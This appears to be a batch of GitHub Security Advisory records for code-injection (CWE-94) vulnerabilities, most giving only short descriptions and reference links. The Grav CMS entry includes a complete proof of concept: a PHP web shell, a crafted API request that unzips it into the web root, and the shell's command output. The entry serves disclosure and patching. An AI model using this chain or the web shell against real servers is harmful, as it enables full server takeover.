CWE-94

{
  "affected": [],
  "aliases": [
    "CVE-2010-1114"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-03-25T17:30:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in Web Server Creator - Web Portal 0.1 allow remote attackers to execute arbitrary PHP code via a URL in the (1) pg parameter to index.php and the (2) path parameter to news/form.php.",
  "id": "GHSA-r8qq-m2f2-8fxc",
  "modified": "2022-05-02T06:19:07Z",
  "published": "2022-05-02T06:19:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1114"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/55727"
    },
    {
      "type": "WEB",
      "url": "http://www.packetstormsecurity.com/1001-exploits/webservercreator-traversalxssrfi.txt"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/37841"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-25022"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-27T05:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in Scytl sVote 2.1. An attacker can inject code that gets executed by creating an election-event and injecting a payload over an event alias, because the application calls Runtime.getRuntime().exec() without validation.",
  "id": "GHSA-r8r8-mhhg-vjch",
  "modified": "2022-05-24T17:43:21Z",
  "published": "2022-05-24T17:43:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25022"
    },
    {
      "type": "WEB",
      "url": "https://suid.ch/research/CVE-2019-25022.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2008-6486"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-03-18T15:30:00Z",
    "severity": "MODERATE"
  },
  "details": "PHP remote file inclusion vulnerability in slideshow_uploadvideo.content.php in SharedLog, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the GLOBALS[root_dir] parameter.",
  "id": "GHSA-r8rq-gjq6-2jqq",
  "modified": "2022-05-14T02:38:48Z",
  "published": "2022-05-14T02:38:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6486"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46293"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/51911"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/497978/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/32035"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2008-3570"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-08-10T20:41:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in index.php in Africa Be Gone (ABG) 1.0a allows remote attackers to execute arbitrary PHP code via a URL in the abg_path parameter.",
  "id": "GHSA-r8v5-438w-jr88",
  "modified": "2022-05-02T00:01:24Z",
  "published": "2022-05-02T00:01:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3570"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/44195"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/6183"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/4124"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-69564"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-27T17:16:10Z",
    "severity": "CRITICAL"
  },
  "details": "code-projects Mobile Shop Management System 1.0 is vulnerable to SQL Injection in /ExAddNewUser.php via the Name, Address, email, UserName, Password, confirm_password, Role, Branch, and Activate parameters.",
  "id": "GHSA-r8w3-p4p4-x3j6",
  "modified": "2026-01-28T21:31:21Z",
  "published": "2026-01-27T18:32:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69564"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/lih28984-commits/87eacfc32186020a04e03a2af448723f"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/Z_180yc/zyy/issues/IDCEJP"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-48840"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-05T13:15:06Z",
    "severity": "CRITICAL"
  },
  "details": "Unauthorized Access vulnerabilities allow Remote Code Execution.\u00a0\nAffected products:\n\n\nABB ASPECT - Enterprise v3.08.02; \nNEXUS Series v3.08.02; \nMATRIX Series v3.08.02",
  "id": "GHSA-r8wg-fm7g-x3vf",
  "modified": "2025-02-27T18:30:59Z",
  "published": "2024-12-05T15:31:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48840"
    },
    {
      "type": "WEB",
      "url": "https://search.abb.com/library/Download.aspx?DocumentID=9AKK108469A7497\u0026LanguageCode=en\u0026DocumentPartId=\u0026Action=Launch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2010-3215"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-10-13T19:00:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Word 2002 SP3 and Office 2004 for Mac do not properly handle unspecified return values during parsing of a Word document, which allows remote attackers to execute arbitrary code via a crafted document that triggers memory corruption, aka \"Word Return Value Vulnerability.\"",
  "id": "GHSA-r922-66fj-rg53",
  "modified": "2022-05-14T02:36:27Z",
  "published": "2022-05-14T02:36:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-3215"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-079"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6974"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/514295/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.us-cert.gov/cas/techalerts/TA10-285A.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-25808"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-23T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "A code injection vulnerability in backup/plugin.php of Bludit 3.13.1 allows attackers to execute arbitrary code via a crafted ZIP file.",
  "id": "GHSA-r943-gcwv-6gq5",
  "modified": "2022-05-24T19:09:03Z",
  "published": "2022-05-24T19:09:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25808"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bludit/bludit/issues/1298"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-72819"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T20:45:57Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav\u0027s built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site\u0027s public folder, which the server then runs.\n\n### Details\n\nThe check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers \"safe\". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable.\n\nThe one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with `../`, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address.\n\nEverything is set up over the web. Saving a plugin\u0027s settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server.\n\n### PoC\n\n1. Log in at `http://TARGET/login` (or `/admin`). The session cookie is the only credential needed below.\n\n2. Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at `/user/media/evil.zip`.\n\n   Zip the shell.php file with the php code mentioned below:\n   ```\n   shell.php:  \u003c?php system($_GET[\u0027c\u0027]); ?\u003e\n   zip evil.zip shell.php\n   ```\n\n3. Send the request (attach your Cookie and X-API-Token):\n\n   ```\n   PATCH /api/v1/config/plugins/flex-objects\n   Content-Type: application/json\n\n   {\n     \"directories\": [\"user/config/plugins/flex-objects.yaml\"],\n     \"title\": \"Pwn\",\n     \"type\": \"flex-objects\",\n     \"config\": { \"data\": {\n       \"object\":     \"Grav\\\\Common\\\\Flex\\\\Types\\\\Generic\\\\GenericObject\",\n       \"collection\": \"Grav\\\\Common\\\\Flex\\\\Types\\\\Generic\\\\GenericCollection\",\n       \"index\":      \"Grav\\\\Common\\\\Flex\\\\Types\\\\Generic\\\\GenericIndex\",\n       \"storage\": { \"class\": \"Grav\\\\Framework\\\\Flex\\\\Storage\\\\SimpleStorage\",\n                    \"options\": { \"formatter\": {\"class\": \"Grav\\\\Framework\\\\File\\\\Formatter\\\\JsonFormatter\"},\n                                 \"folder\": \"user-data://flex-objects/pwn.json\" } } } },\n     \"form\": { \"validation\": \"loose\", \"fields\": {\n       \"name\": {\"type\": \"text\", \"label\": \"Name\"},\n       \"pwn\":  {\"type\": \"text\", \"label\": \"pwn\",\n                \"data-default@\": [[\"Grav\\\\Common\\\\GPM\\\\Installer\", \"unZip\"],\n                                  \"user/media/evil.zip\",\n                                  \"/absolute/path/to/grav-docroot\"]} } }\n   }\n   ```\n\n4. Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token):\n\n   ```\n   POST /api/v1/flex-objects/flex-objects\n   Content-Type: application/json\n\n   {\"name\": \"x\"}\n   -\u003e 201\n   ```\n\n5. Open the file that was written:\n\n   ```\n   http://TARGET/shell.php?c=id\n   -\u003e PWNED:uid=1000(kali) gid=1000(kali) ...\n   ```\n\n### Impact\n\nRemote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server\u0027s account.",
  "id": "GHSA-r94f-hx44-8jqf",
  "modified": "2026-09-17T20:45:57Z",
  "published": "2026-09-17T20:45:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-r94f-hx44-8jqf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72819"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-cms-before-remote-code-execution-via-zip-upload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav CMS vulnerable to remote code execution via .zip file upload"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-65660"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T17:18:54Z",
    "severity": "MODERATE"
  },
  "details": "Improper control of generation of code (\u0027code injection\u0027) in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.",
  "id": "GHSA-r94x-x846-rxqx",
  "modified": "2026-09-25T18:31:15Z",
  "published": "2026-08-11T18:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65660"
    },
    {
      "type": "WEB",
      "url": "https://blog.previdian.com/cve-2026-65660-previdian-observes-two-stage-sharepoint-exploitation-attempts"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-65660"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-65660"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}